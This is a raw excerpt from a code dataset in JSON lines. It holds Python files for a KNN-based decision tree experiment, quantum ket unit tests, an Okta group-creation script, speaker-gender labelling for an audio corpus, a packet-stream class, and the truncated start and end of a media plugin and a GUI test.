swfUrl=http://cdn.livestream.com/chromelessPlayer/v21/playerapi.swf?iconColor=0xCCCCCC&mute=false&autoPlay=true&iconColorOver=0xE7E7E7&time=&color=0x181C27&jsEnabled=false pageUrl=http://cdn.livestream.com/embed/tiviNET?layout=4&color=0x181C27&mute=false&autoPlay=true&iconColorOver=0xE7E7E7&iconColor=0xCCCCCC',defaultImage)\n addLink('????','http://video.go.toya.net.pl:8080/live/saa5Ho7sRFsC0jkB-N3muw/1452620829/01_toyahd_hls/index.m3u8',defaultImage)\n \n \n \n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n\n############################################################################################\n\nmain()","sub_path":"plugin.pltv.premium/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":17428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"274725117","text":"import numpy as np\nimport pandas as pd\nfrom math import sqrt\nfrom matplotlib import pyplot as plt\nimport random\nimport copy\neps = np.finfo(float).eps\n\n\n\ndef calc_mistake_ei(data, attribute_index, value_of_attr, K, cache, prev_values):\n\n transposed = copy.deepcopy(data.transpose())\n copy_data = copy.deepcopy(data)\n temp_data = np.array(list(filter(lambda row: row[attribute_index] == value_of_attr, transposed)))\n copy_data[attribute_index] = prev_values\n\n for temp_row in temp_data:\n prev_val = np.array(list(filter(lambda row: row[0] == temp_row[0], copy_data.transpose())))[0][attribute_index]\n temp_row[attribute_index] = prev_val\n\n return get_eval_mistake(temp_data, K, cache)\n\n\ndef find_mistake_of_attribute_with_threshold(data, attribute_index, poss_limit, K, cache):\n target_variables = np.unique(data[-1]) # This gives all 1 and 0\n # save attribute values for later\n prev_values = data[attribute_index].copy()\n\n for sample_index in range(0, len(data[attribute_index])):\n data[attribute_index][sample_index] = 0 if poss_limit > data[attribute_index][sample_index] else 1\n # This gives different binary values of chosen attribute after classification\n variables = np.unique(data[attribute_index][1:])\n\n sum_entr = 0\n\n # for every possible value of this attr,\n for idx, value_of_attr in enumerate(variables):\n denum = np.count_nonzero(data[attribute_index] == value_of_attr)\n\n mistake_Ei = calc_mistake_ei(data, attribute_index, value_of_attr, K, cache, prev_values)\n #TODO check sum_entr\n sum_entr += (denum / len(data[0])) * (1 - mistake_Ei)\n\n data[attribute_index] = prev_values\n return sum_entr\n\n\ndef calc_weigt_mistakes_for_all_thresholds_of_attr(poss_limit_values, data, column_idx, K, cache):\n weighted_mistakes =[]\n\n #for every possible threshold\n for lim_idx, poss_limit in enumerate(poss_limit_values):\n # calc weighted mistakes\n # current_mistake = get_eval_mistake(data.transpose(), K)\n #print(\"calc_weigt_mistakes_for_all_thresholds_of_attr \", column_idx, \" threshold: \", poss_limit)\n children_mistake_sum = find_mistake_of_attribute_with_threshold(data, column_idx, poss_limit, K, cache)\n weighted_mistake = children_mistake_sum\n weighted_mistakes.append(weighted_mistake)\n return weighted_mistakes\n\ndef calc_weigh_mistakes(data, K, cache):\n transpose_data = data.transpose()\n final_attr_thresholds_mistakes = []\n\n # for every column of data (for every attr)\n # calc best threshold and IG for this threshold\n for column_idx in range(1, len(transpose_data) - 1):\n #print(\"checking for attr: \", column_idx)\n\n #rand = random.randrange(100)\n #poss_limit_values = np.percentile(transpose_data[column_idx], [rand])\n #poss_limit_values = np.percentile(transpose_data[column_idx], [12.5, 25, 37.5, 50, 62.5, 75, 87.5])\n poss_limit_values = np.percentile(transpose_data[column_idx], [25, 50, 75])\n res_vec = calc_weigt_mistakes_for_all_thresholds_of_attr(poss_limit_values, transpose_data, column_idx, K, cache)\n\n # chose max IG and the limit val according to max\n max_ig_indx, max_ig = res_vec.index(max(res_vec)), max(res_vec) # get also index\n chosen_limit_val = poss_limit_values[ max_ig_indx]\n final_attr_thresholds_mistakes += [(column_idx, chosen_limit_val, max_ig)]\n\n a = sorted(final_attr_thresholds_mistakes, key=lambda item: item[-1])\n # sort the data by this attr\n return final_attr_thresholds_mistakes\n\n\n#find the next attr to split the tree with\ndef find_winner(data, K, cache):\n\n #attr_IGs = calc_all_IG(data)\n attr_weighted_mistakes = calc_weigh_mistakes(data, K, cache)\n sorted_attr_weighted_mistakes = sorted(attr_weighted_mistakes, key=lambda item: item[-1]) # decreasing IG values\n\n if len(sorted_attr_weighted_mistakes) == 1:\n return sorted_attr_weighted_mistakes[0][0], sorted_attr_weighted_mistakes[0][1]\n\n best_result = sorted_attr_weighted_mistakes[-1][2]\n print(\"highest accuracy: \", best_result )\n poss_winners = np.array(list(filter(lambda row: row[2] == best_result, sorted_attr_weighted_mistakes)))\n winner = random.choice(poss_winners)\n limit_val = winner[1]\n attr_idx_to_return = winner[0]\n\n return int(attr_idx_to_return), limit_val\n\n\ndef classify_vals_transposed(data, attr_index, limit_val):\n lower = []\n higher = []\n # for every row\n for index, row in enumerate(data):\n if row[attr_index] < limit_val:\n lower.append(row)\n else:\n higher.append(row)\n return np.array(lower), np.array(higher)\n\ndef check_class(neighbors):\n if len(neighbors) == 0:\n print(\"WHY AM I HERE\")\n return 0\n output_values = [neighbor[-1] for neighbor in neighbors]\n prediction = max(set(output_values), key=output_values.count)\n return prediction\n\ndef get_eval_mistake(branch_data, K, cache):\n\n # no mistake if only one example in the group\n if len(branch_data) == 1:\n #print(\"only 1 exmpl here\")\n return 0\n\n wrong_classes = 0\n for row in branch_data:\n neighbors = get_neighbors(branch_data, row, K, cache)\n class_by_knn = check_class(neighbors)\n wrong_classes += 0 if class_by_knn == row[-1] else 1\n\n return wrong_classes / len(branch_data)\n\n\n# Find the min and max values for each column\ndef dataset_minmax(dataset):\n minmax = list()\n for i in range(len(dataset[0])):\n col_values = [row[i] for row in dataset]\n value_min = min(col_values)\n value_max = max(col_values)\n minmax.append([value_min, value_max])\n # returns a list of min and max vals for each attr\n return minmax\n\n# Rescale dataset columns to the range 0-1\ndef normalize_dataset(dataset, minmax):\n norm_data = np.zeros(shape=dataset.shape)\n norm_data[:,0] = dataset[:,0]\n for idx, row in enumerate(dataset):\n for i in range(1,len(row)):\n high = minmax[i][1]\n low = minmax[i][0]\n norm_data[idx][i] = (row[i] - low) / (high - low)\n return norm_data\n\n# Rescale row to the range 0-1\ndef normalize_row(row, minmax):\n norm_row = np.zeros(len(row))\n for i in range(len(row)):\n high = minmax[i][1]\n low = minmax[i][0]\n norm_row[i] = (row[i] - low) / (high - low)\n return norm_row\n\ndef get_neighbors(data, test_row, num_neighbors, cache):\n dists = list()\n\n for train_row in data:\n dist = euclidean_distance(test_row, train_row, cache)\n dists.append((train_row, dist))\n\n dists.sort(key=lambda tup: tup[1])\n neighbors = list()\n\n num_neighbors = data.shape[0] if num_neighbors >= data.shape[0] else num_neighbors\n\n #cut myself off if its me\n if dists[0][-1] == 0:\n num_neighbors = data.shape[0] - 1 if num_neighbors >= data.shape[0] else num_neighbors\n dists = dists[1:]\n\n for i in range(0, num_neighbors):\n neighbors.append(dists[i][0])\n\n return np.array(neighbors)\n\n\n\n# calculate the Euclidean distance between two vectors\ndef euclidean_distance(row1, row2, distances):\n distance = 0.0\n key = str(int(row1[0])) + \" \" + str(int(row2[0]))\n\n if key in distances.keys():\n return distances[key]\n for i in range(1, len(row1)-1):\n distance += (float(row1[i]) - float(row2[i]))**2\n\n distance = sqrt(distance)\n\n key2 = str(int(row2[0])) + \" \" + str(int(row1[0]))\n distances[key] = distance\n distances[key2] = distance\n return distance\n\ndef buildTree(data, K, M, epsilon, cache):\n\n #Create a list of results for the training data example classes\n classList = [example[-1] for example in data]\n\n # If all training data belongs to a category, return to the category\n if classList.count(classList[0]) == len(classList): return classList[0]\n\n # Get attribute with maximum accuracy gain\n attr_indx, limit_val = find_winner(data, K, cache)\n print(\"winner is: \", attr_indx)\n\n lower, higher = classify_vals_transposed(data, int(attr_indx), limit_val)\n\n myTree = {attr_indx: {}}\n\n # if len lower or len higher == 0\n # there is no split make empty leaf\n if len(lower) == 0:\n myTree[attr_indx][0] = limit_val, None\n #print(\"lower: \", attr_indx, \" empty leaf \")\n else:\n\n class_vals_l, counts_l = np.unique(lower[:,-1], return_counts=True)\n\n mistake = get_eval_mistake(lower, K, cache)\n # if all lower are same class - its a leaf, save all lower examples in the leaf\n if len(class_vals_l) == 1 or mistake <= epsilon or len(lower) <= M*K:\n myTree[attr_indx][0] = limit_val, lower\n print(\"lower: \", attr_indx, \" \", len(lower), \"threshold: \", limit_val, \"mistake: \", mistake)\n\n # keep building the tree\n else:\n myTree[attr_indx][0] = limit_val, buildTree(lower, K, M, epsilon, cache)\n\n if len(higher) == 0:\n myTree[attr_indx][1] = limit_val, None\n #print(\"higher: \", attr_indx, \" empty leaf \")\n else:\n class_vals_h, counts_h = np.unique(higher[:, -1], return_counts=True)\n\n # if all higher are same class - its a leaf, save all higher examples in the leaf\n mistake = get_eval_mistake(higher, K, cache)\n if len(class_vals_h) == 1 or mistake <= epsilon or len(higher) <= M * K:\n myTree[attr_indx][1] = limit_val, higher\n print(\"higher: \", attr_indx, \" \", len(higher), \"threshold: \", limit_val, \"mistake: \", mistake)\n\n # keep building the tree\n else:\n myTree[attr_indx][1] = limit_val, buildTree(higher, K, M, epsilon, cache)\n\n return myTree\n\n\ndef is_leaf(tree):\n return isinstance(tree[1], np.ndarray)\n\ndef find_leaf(tree, root_key, query, K, new_cache):\n\n lower = tree[root_key][0]\n\n if is_leaf(lower):\n neighbors = get_neighbors(lower[1], query, K, new_cache)\n class_by_knn = check_class(neighbors)\n return class_by_knn\n\n threshold = lower[0]\n if query[root_key] < threshold:\n lower_key = list(lower[1].keys())[0]\n return find_leaf(lower[1], lower_key, query, K, new_cache)\n else:\n higher = tree[root_key][1]\n if is_leaf(higher):\n neighbors = get_neighbors(higher[1], query, K, new_cache)\n class_by_knn = check_class(neighbors)\n return class_by_knn\n\n higher_key = list(higher[1].keys())[0]\n return find_leaf( higher[1], higher_key, query, K, new_cache)\n\n\ndef predict(query, tree, K, new_cache):\n\n return find_leaf(tree, list(tree.keys())[0], query, K, new_cache)\n\n\ndef get_prediction( tree, test_data, K ):\n\n new_cache = {}\n prediction = []\n\n for idx, row in enumerate(test_data):\n predicted = predict(row, tree, K, new_cache)\n prediction += [predicted]\n\n return prediction\n\n\ndef calc_accuracy( tree, test_data, K):\n correct_pred_sum = 0\n\n predictions = get_prediction( tree, test_data, K )\n # TODO check if predictions and test data are of the same size\n\n for idx, row in enumerate(test_data):\n correct_pred_sum += 1 if row[-1] == predictions[idx] else 0\n\n accuracy = correct_pred_sum / len(test_data)\n return accuracy\n\n\ndef KNN_build_and_test( train, test, K, M, epsilon, cache):\n train = train.to_numpy()\n test = test.to_numpy()\n tree = buildTree(train, K, M, epsilon, cache)\n return calc_accuracy(tree, test, K)\n\n\ndef plot_accuracies(results, labels ):\n labels = [str(label) for label in labels]\n first_run = results[0]\n second_run = results[1]\n third_run = results[2]\n\n x = np.arange(len(labels)) # the label locations\n width = 0.35 # the width of the bars\n\n fig, ax = plt.subplots()\n rects1 = ax.bar(x - width/3, first_run, width/3, label='1st run')\n rects2 = ax.bar(x , second_run, width/3, label='2nd run')\n rects3 = ax.bar(x + width/3, third_run, width/3, label='3rd run')\n\n # Add some text for labels, title and custom x-axis tick labels, etc.\n ax.set_ylabel('Accuracies')\n ax.set_title('Accuracies by M values')\n ax.set_xlabel('M values')\n\n ax.set_xticks(x)\n ax.set_xticklabels(labels)\n ax.legend()\n\n def autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n\n\n autolabel(rects1)\n autolabel(rects2)\n autolabel(rects3)\n\n fig.tight_layout()\n\n plt.show()\n\n # fig = plt.figure()\n # columns = results.shape[1]\n # nrows, ncols = 5, 2\n #\n # x = [row[0] for row in results] # same as [row[0] for row in data], and doesn't change in loop, so only do it once.\n # for m in range(1, columns+1): # this loops from 1 through columns\n # y = [row[m] for row in results]\n # ax = fig.add_subplot(nrows, ncols, m, axisbg='w')\n # ax.plot(x, y, lw=1.3)\n #\n # plt.show()\n\n\ndef experimentsKs(train, test_df):\n Ks = [1, 3, 5, 7, 9]\n default_M = 2\n default_eps = 0.01\n accuracies = []\n cache = {}\n\n results_for_graph = []\n\n for i in range(3):\n for k in Ks:\n\n accuracy = KNN_build_and_test(train, test_df, k, default_M, default_eps, cache)\n accuracies.append(accuracy)\n print(k, ' K accuracy:', accuracy)\n\n\n results_for_graph += [accuracies]\n accuracies = []\n\n plot_accuracies(np.array(results_for_graph), Ks)\n\n\ndef experimentsMs(train, test_df):\n\n Ms = [1, 2, 3, 4, 5]\n default_K = 7\n default_eps = 0.01\n accuracies = []\n cache = {}\n\n results_for_graph = []\n\n for i in range(3):\n for m in Ms:\n\n accuracy= KNN_build_and_test(train, test_df, default_K, m, default_eps, cache)\n accuracies.append(accuracy)\n print(m, ' M accuracy:', accuracy)\n\n\n results_for_graph += [accuracies]\n accuracies = []\n\n plot_accuracies(np.array(results_for_graph), Ms)\n\n\ntrain = pd.read_csv('train_9.csv')\ntest_df = pd.read_csv('test_9.csv')\n\nexperimentsMs(train, test_df)\nexperimentsKs(train, test_df)\ntrain = pd.read_csv('train_12.csv')\ntest_df = pd.read_csv('test_12.csv')\n\nexperimentsMs(train, test_df)\nexperimentsKs(train, test_df)\n","sub_path":"param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":14477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"426242424","text":"\"\"\"Tests for ket function.\"\"\"\nimport unittest\nimport numpy as np\n\nfrom toqito.base.ket import ket\n\n\nclass TestKet(unittest.TestCase):\n \"\"\"Unit test for ket.\"\"\"\n\n def test_ket_0(self):\n \"\"\"Test for `|0>`.\"\"\"\n expected_res = np.array([[1], [0]])\n res = ket(2, 0)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_ket_1(self):\n \"\"\"Test for `|1>`.\"\"\"\n expected_res = np.array([[0], [1]])\n res = ket(2, 1)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_ket_0000(self):\n \"\"\"Test for `|0000>`.\"\"\"\n expected_res = np.array([[1], [0], [0], [0]])\n res = ket(4, 0)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_invalid_dim(self):\n \"\"\"Tests for invalid dimension inputs.\"\"\"\n with self.assertRaises(ValueError):\n ket(4, 4)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_ket.py","file_name":"test_ket.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"225535639","text":"from dotenv import load_dotenv\r\nimport requests\r\nimport os\r\n\r\nload_dotenv()\r\nurl = os.getenv('OKTA_ORG_URL')\r\ntoken = os.getenv('OKTA_API_TOKEN')\r\n\r\nheaders = {\r\n 'Authorization': f'SSWS {token}',\r\n 'Accept': 'application/json'\r\n}\r\n\r\nsession = requests.Session()\r\nsession.headers.update(headers)\r\n\r\nnames = ['Finance', 'Legal']\r\nfor name in names:\r\n group = {\r\n 'profile': {\r\n 'name': name,\r\n 'description': ''\r\n }\r\n }\r\n res = session.post(f'{url}/api/v1/groups', json=group)\r\n print(res.ok)\r\n","sub_path":"new_okta_groups.py","file_name":"new_okta_groups.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"137924605","text":"import numpy as np\nimport sys\nsys.path.append('../')\nimport load_data\nfrom shutil import copy2\nimport json\nimport subprocess\n\nval_conv, val_emb, val_rec, val_spk, val_spk_int, val_text, val_mfcc = load_data.dataset_places()\n\n## Constants\nFILE_PATH_PLACES_ROOT = '/home/mark/Downloads/placesaudio_distro_part_1/placesaudio_distro_part_1/'\nFILE_PATH_UTTIDS = FILE_PATH_PLACES_ROOT + 'lists/acl_2017_val_uttids'\nFILE_PATH_UTT2WAV = FILE_PATH_PLACES_ROOT + 'metadata/utt2wav'\nTARGET_FOLDER = '/home/mark/Downloads/places_validation/'\n\ndef labels_first_count():\n \"\"\"\n Label gender in the Flickr8K audio caption corpus, Male = 0, Female = 1.\n Note: this numpy array is only used for the assertion in check_acl_val_file(). Val_gender is created from a\n dictionary\n :return:\n \"\"\"\n return np.zeros((84,2))\n\ndef check_acl_val_file():\n \"\"\"\n Function which examines the lists/acl_2017_val_uttids file\n :return:\n \"\"\"\n full_lines = []\n keys = []\n with open(FILE_PATH_UTTIDS) as fp:\n lines = fp.readlines()\n for line in lines:\n key = line.split('-')[0]\n if key not in keys:\n full_lines.append(line.rstrip())\n keys.append(key)\n\n # Dictionary with structure: 'A1IFIK8J49WBER': 'A1IFIK8J49WBER-GSUN_E45F9E9AA12C1220B3510C539C6004FA'\n # Key is used to check the key with val_spk while the value is used to find a specific wav file\n keys_full_lines = dict(zip(keys, full_lines))\n\n # Amount of keys should be equal to counting label\n assert len(keys_full_lines.keys()) == labels_first_count().shape[0]\n\n wav_dict = {}\n with open(FILE_PATH_UTT2WAV) as fp:\n lines = fp.readlines()\n for line in lines:\n parts = line.split()\n if parts[0] in keys_full_lines.values():\n wav_dict[parts[0]] = parts[1]\n\n # Make sure that the amount of wav paths is equal to keys\n assert len(keys_full_lines.keys()) == len(wav_dict.keys())\n\n # Copy wav file for each speaker to a separate folder\n count_not_found = 0\n files_not_found = {}\n files_found = {}\n for key, value in wav_dict.items():\n # For some reason, some wav files aren't in the zip file\n try:\n copy2(FILE_PATH_PLACES_ROOT + value, TARGET_FOLDER + value.split('/')[-1])\n except FileNotFoundError as e:\n count_not_found += 1\n files_not_found[key] = value\n\n files_found[key.split('-')[0]] = value.split('/')[-1]\n\n # 34 wav files weren't found\n # print('Amount of files not found: {}'.format(count_not_found))\n\n fill_wav_manually(files_found, files_not_found)\n\ndef fill_wav_manually(files_found, files_not_found):\n \"\"\"\n For not found files, pick another wav file by hand (programmatically no success)\n :param files_found:\n :param files_not_found:\n :return:\n \"\"\"\n\n # A single dictionary in order to easily copy the files to the other folder\n manually_found = {}\n for key, value in files_not_found.items():\n manually_found[key.split('-')[0]] = ''\n\n len_before_assignment = len(manually_found.keys())\n\n manually_found['A15PYQVCGSES3G'] = 'wavs/28/utterance_346059.wav'\n manually_found['A1AEFJMOP7OZYS'] = 'wavs/64/utterance_62827.wav'\n manually_found['A1A9OMCBJQL15S'] = 'wavs/430/utterance_208307.wav'\n manually_found['A1C2T79XTDHE39'] = 'wavs/4/utterance_168895.wav'\n\n manually_found['A15SDWY3P1WQX6'] = 'wavs/36/utterance_41826.wav'\n manually_found['A1APC1HPGOLX2F'] = 'wavs/138/utterance_157534.wav'\n manually_found['A1DEJWBNA5OUX1'] = 'wavs/150/utterance_40840.wav'\n manually_found['A1JBLFP5IB5UF8'] = 'wavs/48/utterance_326238.wav'\n\n manually_found['A1J7X0XSDTJGGP'] = 'wavs/35/utterance_374031.wav'\n manually_found['A1GGWQQFBNCUEV'] = 'wavs/246/utterance_296199.wav'\n manually_found['A191H6ZEZ9I7M3'] = 'wavs/148/utterance_381212.wav'\n # Only found a single entry in utt2wav but the folder isn't available in /wavs\n manually_found['A1FZB94LK9HWBM'] = ''\n\n manually_found['A1EPEMSYY5Q6GF'] = 'wavs/443/utterance_233011.wav'\n manually_found['A1C5S8FZ0UGYZX'] = 'wavs/28/utterance_240707.wav'\n manually_found['A14WOX09KHZYI8'] = 'wavs/437/utterance_202569.wav'\n manually_found['A1IQL2UN4FAMF1'] = 'wavs/406/utterance_273962.wav'\n\n manually_found['A1J2SQGWOID8SZ'] = 'wavs/1/utterance_162028.wav'\n manually_found['A1CJM3ULFBWN1E'] = 'wavs/232/utterance_251723.wav'\n manually_found['A1HWI4N1RJGKYY'] = 'wavs/461/utterance_306142.wav'\n manually_found['A111MNQPYBOPD0'] = 'wavs/173/utterance_177556.wav'\n\n manually_found['A03015341AB6VCX61DKN7'] = 'wavs/52/utterance_282287.wav'\n manually_found['A17DY4MQFC4L26'] = 'wavs/103/utterance_45148.wav'\n manually_found['A1K8U4ERJCTIQ5'] = 'wavs/422/utterance_239162.wav'\n manually_found['A1E48YYO7XP92J'] = 'wavs/260/utterance_238678.wav'\n\n manually_found['A116P6269SII5Y'] = 'wavs/356/utterance_231366.wav'\n manually_found['A1CDWT7K9N097'] = 'wavs/150/utterance_238251.wav'\n manually_found['A1HGH370WWDHKN'] = 'wavs/321/utterance_198460.wav'\n manually_found['A11R8G0FYA2UVQ'] = 'wavs/284/utterance_229375.wav'\n\n manually_found['A1A6D2RDPGVX5F'] = 'wavs/272/utterance_173256.wav'\n manually_found['A17XJC8D0QB95H'] = 'wavs/253/utterance_217783.wav'\n manually_found['A1AHYAWHM0ML7H'] = 'wavs/117/utterance_143623.wav'\n manually_found['A174D7OUJ9GKZT'] = 'wavs/389/utterance_94079.wav'\n\n manually_found['A1E1FGA9HQUGQ7'] = 'wavs/204/utterance_318628.wav'\n manually_found['A1AF8W1Q93TODD'] = 'wavs/63/utterance_78398.wav'\n\n # Make sure that no mistakes are made\n len_after_assignment = len(manually_found.keys())\n assert len_before_assignment == len_after_assignment\n\n # Copy files to folder. This time without try-except block because files are guaranteed to be found\n for key, value in manually_found.items():\n # Don't copy speaker that cannot be found\n if key != 'A1FZB94LK9HWBM':\n copy_single_file(value)\n files_found[key] = value.split('/')[-1]\n\n # Create final json file which indicates which wav I used for determining gender per speaker\n with open('../data/wav.txt', 'w') as file:\n # Reverse with json.loads()\n file.write(json.dumps(files_found))\n\ndef copy_single_file(value):\n \"\"\"\n Function for copying a single file\n :param value:\n :return:\n \"\"\"\n copy2(FILE_PATH_PLACES_ROOT + value, TARGET_FOLDER + value.split('/')[-1])\n\n\ndef play_audio(file_name):\n \"\"\"\n Play all wav tracks and determine whether it is a male or female that is talking\n :return:\n \"\"\"\n with open('../data/wav.txt') as file:\n speakers = json.loads(file.read())\n\n result = {}\n file_folder = '/Applications/MAMP/htdocs/places_validation/'\n for speaker, wav_file in speakers.items():\n if speaker != 'A1FZB94LK9HWBM':\n print(\"ID of is speaker: {}\".format(speaker))\n subprocess.check_call([\"afplay\", file_folder + wav_file])\n while True:\n gender = input(\"Please enter gender (0 = male, 1 = female): \")\n if gender not in ['0', '1']:\n print('Please specify 0 or 1')\n else:\n result[speaker] = gender\n break\n\n print(result)\n\n with open(file_name, 'w') as file:\n # Reverse with json.loads()\n file.write(json.dumps(result))\n\n\ndef check_frequency_missing_speaker():\n \"\"\"\n There is a single speaker which is missing. This function checks how many times this speaker occurs in val_spk.\n :return:\n \"\"\"\n speaker = 'A1FZB94LK9HWBM'\n count = 0\n for val_speaker in val_spk:\n if val_speaker.split('_')[1] == speaker:\n count += 1\n\n return count\n\n\ndef create_val_gender(file_name):\n with open(file_name) as file:\n speaker_genders = json.loads(file.read())\n\n # Fill val_gender by checking the dictionary which contains the gender as value\n val_gender = np.zeros(val_spk.shape)\n count = 0\n for _ in val_gender:\n speaker = val_spk[count]\n if speaker.split('_')[1] != 'A1FZB94LK9HWBM':\n val_gender[count] = speaker_genders[speaker.split('_')[1]]\n count += 1\n\n np.save('../data/places_val_gender.npy', val_gender)\n\ndef compare_rounds(file_first_round, file_second_round):\n \"\"\"\n A function to compare the results between the different rounds of classifying gender.\n :param file_first_round:\n :param file_second_round:\n :return:\n \"\"\"\n with open(file_first_round) as file:\n gender_first_round = json.loads(file.read())\n\n with open(file_second_round) as file:\n gender_second_round = json.loads(file.read())\n\n # Both dictionaries should be of equal length\n assert len(gender_first_round.keys()) == len(gender_second_round.keys())\n\n # Check whether there is any mismatch\n for key, value in gender_second_round.items():\n if gender_first_round[key] != value:\n print('{} is not the same'.format(key))\n\n\ndef distribution_male_female(file_name):\n \"\"\"\n Contrary to explores_places.py this function counts the amount of male and female speakers (not the number of\n entries)\n :param file_name file with gender per speaker:\n :return:\n \"\"\"\n with open(file_name) as file:\n gender_speaker = json.loads(file.read())\n\n male = 0\n female = 0\n for key, value in gender_speaker.items():\n if value == \"0\":\n male += 1\n else:\n female += 1\n\n return male, female\n\n\n# print(distribution_male_female('../data/speaker_gender_second_count.txt'))","sub_path":"places/label_gender_places.py","file_name":"label_gender_places.py","file_ext":"py","file_size_in_byte":9675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"43991960","text":"from capturer.tsa_packet import TSAPacket\n\nclass TSAStream:\n \"\"\"\n Representation of a stream of TSAPackets.\n\n Contains helper methods for efficient querying and filtering\n of the packets.\n \"\"\"\n\n def __init__(self, tsa_packets):\n self._packets = list(tsa_packets)\n\n def __len__(self):\n return len(self._packets)\n\n def __repr__(self):\n index_list = []\n str_list = []\n\n # Only include the first two and last two packets\n # in the string if the stream has > 4 packets\n length = len(self._packets)\n if length > 4:\n index_list = [0, 1, -1, length-2, length-1]\n else:\n index_list = list(range(length))\n\n for index in index_list:\n if index == -1:\n str_list.append(\"\\n\\t...\\n\\t\")\n else:\n packet = self._packets[index]\n packet_split = (str(packet)).split(\"\\n\")\n new_header = \"\\tTSA Packet #%d: {\\n\\t\" % index\n str_list.append(new_header + \"\\n\\t\".join(packet_split[1:]))\n\n return \"TSA Stream: {\\n%s\\n}\" % \"\\n\".join(str_list)\n\n ### METHODS TO ALLOW LIST INDEXING SYNTAX ###\n\n def __getitem__(self, index):\n return self._packets[index]\n\n def __iter__(self):\n return iter(self._packets)\n\n ### STREAM METHODS ###\n\n def get_packets(self, sort_key=None, include_missing=False):\n \"\"\"\n Returns a list of TSAPackets in the stream.\n\n If sort_key is provided, the packets are sorted by their\n values for that key. Raises KeyError if the provided key\n is not a valid TSAPacket field.\n\n If include_missing is True, packets that are missing the\n field specified by sort_key are included in the returned\n list, at the end. Otherwise, they are omitted.\n \"\"\"\n if sort_key:\n if sort_key not in TSAPacket.FIELDS:\n raise KeyError(\"Sort key '\" + sort_key +\n \"' is not a valid TSAPacket field\")\n sorted_packets = sorted(self._packets,\n key=lambda x: (x[sort_key] is None, x[sort_key]))\n if not include_missing:\n sorted_packets = filter(lambda x: x[sort_key] is not None,\n sorted_packets)\n return list(sorted_packets)\n else:\n return self._packets\n\n def get_values_for_key(self, key):\n \"\"\"\n Returns a list of values for the provided key - one for\n each packet in the stream.\n\n Raises KeyError if the provided key is not a valid\n TSAPacket field.\n \"\"\"\n if key not in TSAPacket.FIELDS:\n raise KeyError(\"Key '\" + key + \"' is not a valid TSAPacket field\")\n return list(map(lambda x: x[key], self._packets))\n\n def filter(self, filter_dict):\n \"\"\"\n Returns a TSAStream containing only packets whose values\n match those in the provided dict, for all keys in the dict.\n\n Raises KeyError if any of the keys in the dict is not\n a valid TSAPacket field.\n \"\"\"\n filtered_list = self._packets\n for key, value in filter_dict.items():\n if key not in TSAPacket.FIELDS:\n raise KeyError(\"Key '\" + key + \"' is not a valid \" +\n \" TSAPacket field\")\n filtered_list = filter(lambda x: x[key] == value, filtered_list)\n return TSAStream(filtered_list)\n","sub_path":"capturer/tsa_stream.py","file_name":"tsa_stream.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"209215569","text":"# -*- coding: utf-8 -*-\n\nimport unittest\n\nimport numpy as np\n\nfrom glassure.gui.controller.glassure import GlassureController\nfrom glassure.tests.gui_tests.utility import click_checkbox, set_widget_text, QtTest, prepare_file_loading\n\n\nclass ExtrapolationWidgetTest(QtTest):\n def setUp(self):\n self.controller = GlassureController()\n prepare_file_loading('Mg2SiO4_ambient.xy')\n self.controller.load_data()\n prepare_file_loading('Mg2SiO4_ambient_bkg.xy')\n self.controller.load_bkg()\n self.data = self.controller.model\n self.widget = self.controller.main_widget\n self.extrapolation_widget = self.widget.left_control_widget.extrapolation_widget\n self.widget.left_control_widget.composition_widget.add_element('Mg', 2)\n self.widget.left_control_widget.composition_widget.add_element('Si', 1)\n self.widget.left_control_widget.composition_widget.add_element('O', 4)\n\n def test_activating_extrapolation(self):\n if self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n # without extrapolation S(Q) should have no values below\n q, sq = self.data.sq_pattern.data\n self.assertGreater(q[0], 1)\n\n # when turning extrapolation on, it should automatically interpolate sq of to zero and recalculate everything\n # by default a Step function should be used\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n self.assertTrue(self.extrapolation_widget.activate_cb.isChecked())\n\n q, sq = self.data.sq_pattern.limit(0, 1).data\n self.assertLess(q[0], 0.1)\n self.assertEqual(np.sum(sq), 0)\n\n def test_different_extrapolation_methods(self):\n if not self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n # next we activate the linear Extrapolation method to see how this changes the g(r)\n # using a linear extrapolation to zero the sum between 0 and 0.5 should be always different from 0:\n click_checkbox(self.extrapolation_widget.linear_extrapolation_rb)\n q, sq = self.data.sq_pattern.limit(0, 1).data\n\n self.assertNotAlmostEqual(np.sum(sq[np.where(q < 0.4)]), 0)\n\n # now switching on spline extrapolation and see how this effects the pattern\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n click_checkbox(self.extrapolation_widget.spline_extrapolation_rb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n # and last but not least the polynomial extrapolation version:\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n 